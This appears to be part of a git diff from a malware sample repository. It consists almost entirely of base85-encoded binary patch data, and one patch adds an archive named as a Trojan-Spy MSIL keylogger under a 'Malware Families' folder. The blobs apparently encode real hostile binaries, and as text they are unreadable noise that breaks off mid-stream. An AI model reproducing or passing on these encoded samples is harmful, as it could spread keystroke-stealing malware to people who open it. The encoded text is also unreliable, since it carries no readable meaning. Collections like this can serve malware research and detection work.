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 OuqOhaE?5FLBGA8Ki#i7Y literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.ecv.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.ecv.7z new file mode 100644 index 0000000000000000000000000000000000000000..276c68ba16d2e60692724090961318108967f28a GIT binary patch literal 25226 zcmZ6z1C%ID%pf{8@7%F%^NwxXwr$(CZQHhO+cw{P`@h|H_Vwv=I;l>oQt4DWT~%pW z31E=F0000G09S2@N@+EPFX(^(0Qx`x0Pw%1d=3sqR{EB1V%EksGzJb%aZ}<0ynlmU zg1QG{l{AS2*Bi^K%|Epu^u-Yeho%l$urqm#Nz8G^vOG}zU%9*e&C0}^1}v{_Xa0F+ ze!RUetCCpAH!kOe*4XvMu@@ie^|W-E6&e5?K%dQ$Y2~`<{PlToLau@pRu$0DqPqF}R@YU3lyK2HuFZI-d^ z>ePc%;8)oDHJ9u|XxaZui!iZGO#Ku904mOazj_4#5Vo_rj%X@#deeubGo<2W<(|p)Idw@sw$owc}+sj;&60618sU0l}f^L5uR;^^abiN*v zu|Xb~oYaggm<$}4-d}D;X!|@jt@3cYeH{*FjEH1%PnW9_VcL(KWF4H)a%(4C=wMOb z)N^ViTv*MA-0wH-cX%ohO*{>es=d`}?~oY1Uj}|YWOr$pR75<~zfz3laCP`#^>{ol za~R}ra12es((`C}epq6V)bXT+s4()Vfjv~XHfPe1G!WgP%qh{y0R5c1qZDr|CDH`+ zJ^<4~?vLG@H>V1A_h?2h+$@mhxZa0_I3@3}-55vItD>%C+>x%mqJ-ekI6o-yI~#uuY@Z6kS}B$V{-x--kFB9;H0qa$R&y>nByNz+qxf zKU^kc8%72ePj(Z-Olyn?b&E0dUsGX7F4HP9{pvNe?7~s3k`l+-nuiS9{%Y!A)GOe# z+o$Pu+X24&@QB$Yb0S%o@{04z8yKp9G?nUoNOX~7OsV~znD4UIK`o0JX`ejkl-X?Z z1vY(Dwn(;2z7$!$CBMeXq>CHZ5c-^+Z}HqgQuk{Mq9b~lHSwR|Os}jl9j~z|nF73& z2qyY?B-m&qtkE#Ap){AL=ykwau$+|j(8Tl&lZz7r1FPI_7E7O%l~AMDPfyI~H0R zt7iT7jv`|gJ29gz3v!mbGRrL!au$0WgDvCl#h5u&h?3oD(VQ+w+3`GdTK8KsH|~fZ z{^8}}AI5gP!+V^(a{P7$joCptQMA6zW$Q~USt;83#jhs-l8 zUK{e|0uu=Hdid7`)h7&)g_O!R!blvdNU}?a)6B_@NqE69@GcaKip#zIRG=H*U6GK2 z_!)x;iiD-!MgvXF`I#8;(lKX$iwR}|M_KWqBt!Xu2@;B#%)}CcnfjImO^^)&>+g&_8#SYapK5@)mumH|oldFWTDrP>h<$2_e;g&gO(nitk8aNOS)(E)7|bB_ zHO}Fo)Pveed@jn0*qOo$1W4I@Pe(n~z08UpX_>uCwo6xJ-%^ck;;hsHOIwh{jRIme zY=win8%TW2p;!Ila6v+%QHQ}9u;Yff@qs_-i7Oyww`LM5TJDYBx$-i|Os83fxbWMg zl`sC{8xY2_08+(wVV+#70UXg#SLfse-X#NOSnL`b%2E4-^9ZfuZ1frmC7Fh zTN^#>w*~H2BvKn+W)#nMKd78wt9L2-eDJY6tx8JA#+w z4R;zu%K@|*0`Q{bD^tR@T?b`@+siS0m2mg0l|{|18v(jq2V|2og2|d2^YXWdVTfZD zaT_quCAZ%LXV+Cm$rT)6TVazM{igR|56Zu*bXXJVk;|5_Xwa?3P_4zBnyr9dt(>^TjMzDI(ZePn_&DT!(UTLoNUd^MCfPvPI06VD1HxZ zfX@9-k?I6DHy)qHwX0o%W|h2s z$+^A5$9xb+jwFrdNjX`HnV9!HZiHh~yG-(9GOs;RY0NC<+h|<)@wqYI$f<-3Ey-g~ z3hj8r=g^c=oo8iF^3%z^5vsZc{TXofEcoJEg2<)|X8?y^j3W@YlX)n<*PHZiTW&W$ zscfMr;ySozD?G#*Vx?gZyf26ruB&x}AwV3h(L<5I&A(+KZRfalE_IA6_YFVhiW0KY zcY8jiGqlf99>;!w>%V~7QlMD^zNth>3SKIDewxxsuidyVSBxA6cOJ zb0$jEY8zD$Z{@bzo10acDh*3g&C|Jkxalz8?fT2~ zv!GANU_JSG!TuQi20EodeeBPBFh}7fT4e&Io9~`_>a6dg{g`-g|NJQzR%au0117~6 zwg9Z)T1)-p&D5FWMws@21gasZq$UE87%Sn8L9WCqtj~T})Z~DgyEM1$j2XtynaT|0 zqZt@Rk3$)w;`oM7gkk9mX?R8nP!(0s49l@bU+VNw1_mTWeR-+h4oQ8<+W$Sb<4q|9 ziJ@LEIQ%i4lZB29(MPJ)2c&YcXUy0&l|pRnZ8U~Dn-4>shp2LfgsnTMg9Nfn@o z2m^~Z6Duw?wW1lgJF5^O#>)Yrw zN~I)YKHP_v8s#{`cCN;L!49K-4c@7p5w!xnhh4y>+f!T+%EDO_Ui2WPjn3NcYEZbj^IdbfNM>gx(c5H^$-8$@>?FF z>EQt01aZ z48Jgg>JihC!VSLTDLv1+b4WI}JhTqXv?ZBebFiHZpF@+RABjwq3Cx3_Tnj;V+}b*2 zr@a3}jASJx8FfXX-_A6xh2%oRXbYX!;u|IbVz%xp^XUj3@6N4<<(5|}jGG1yG#$r3 z3?SNyo<7Xz@$nk*GnRfT=DwHguL&y|(LnhcbD`GPz)tYN9;plxj1ivD4fP zTEn^)?1ovz<%4;wi+OAdeQedf!qPQS?V!}T5m{ojZjKr2DRhf9-q+x6Mp(Gf5r>X9 z9AM(@RFEfP8Sj5GtE9FofkIXeukeRUM!=LibnaA5^^W)H_!z_#QKILih1h~L=J+3y 